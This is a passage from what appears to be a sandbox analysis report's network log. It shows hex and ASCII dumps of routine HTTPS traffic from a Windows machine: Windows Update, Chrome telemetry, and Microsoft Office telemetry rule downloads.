0a Data Ascii: alse"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C>
2024-11-17 02:42:26 UTC	16384	IN	Data Raw: 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 Data Ascii: I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="Cleanup
2024-11-17 02:42:26 UTC	16384	IN	Data Raw: 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 Data Ascii: </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R>
2024-11-17 02:42:26 UTC	16384	IN	Data Raw: 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 Data Ascii: </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C>
2024-11-17 02:42:26 UTC	16384	IN	Data Raw: 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" />
2024-11-17 02:42:26 UTC	16384	IN	Data Raw: 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 Data Ascii: <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49723	172.202.163.200	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:25 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=eYG+6Z7uo4a8ZEy&MD=L8EZRBY9 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-17 02:42:25 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 7cdf5cd9-0b14-4bca-847e-e1f14a39076a MS-RequestId: d34b62a8-1dd8-4391-ac1f-b5c9d2bb52cb MS-CV: 0dQKpfTsKUOXm+De.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sun, 17 Nov 2024 02:42:25 GMT Connection: close Content-Length: 24490
2024-11-17 02:42:25 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-17 02:42:25 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49730	142.250.186.78	443	7244	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:25 UTC	726	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 913 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: chrome-untrusted://new-tab-page X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-17 02:42:25 UTC	913	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 33 31 38 31 31 33 34 32 33 34 34 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],373,[["1731811342344",null,null,null,
2024-11-17 02:42:25 UTC	942	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: chrome-untrusted://new-tab-page Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=519=SIY3PQ8SSQ_eVMNeDDAyq3Oh5VU9zbL6yNKoikuATvztPWVfC3HKORR4buEAq7EV5InGkgphZGqhTY4hvFVbSJFiASGiYsJr9xglbDjRXv5F79RlOfxO-gVNHcuoTU-7UBUXmXQRzQLMGGM1vyBQbw4_tr3W9ae7tgaKsg3D6hHTqfKf6hczCZRK; expires=Mon, 19-May-2025 02:42:25 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Sun, 17 Nov 2024 02:42:25 GMT Server: Playlog X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Sun, 17 Nov 2024 02:42:25 GMT Cache-Control: private Connection: close Transfer-Encoding: chunked
2024-11-17 02:42:25 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-11-17 02:42:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49733	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:25 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-17 02:42:25 UTC	514	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=50597 Date: Sun, 17 Nov 2024 02:42:25 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-17 02:42:25 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.5	49741	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:27 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:27 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:27 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 93eb20e0-b01e-0021-689b-37cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024227Z-164f84587bfdfkt7hC1DFW4fas00000001mg00000000m5qe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 02:42:27 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.5	49743	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:27 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:27 UTC	498	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:27 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 6ebc7fcd-801e-00a0-42aa-372196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024227Z-164f84587bf7k72dhC1DFWvczs00000003rg0000000067ua x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-17 02:42:27 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.5	49739	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:27 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:27 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:27 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 3b7f0400-201e-0071-256d-38ff15000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024227Z-164f84587bfh9nvdhC1DFWmce000000001mg00000000bxht x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-17 02:42:27 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.5	49740	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:27 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:27 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:27 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 05f35093-901e-0016-5b99-38efe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024227Z-1866b5c5fbbzzh8chC1DFWdrc4000000039000000000knv2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-17 02:42:27 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.5	49742	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:27 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:27 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:27 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: ec16a966-001e-0014-49c6-375151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024227Z-16547b76f7fqqjnnhC1DFWxv7400000002200000000034sc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
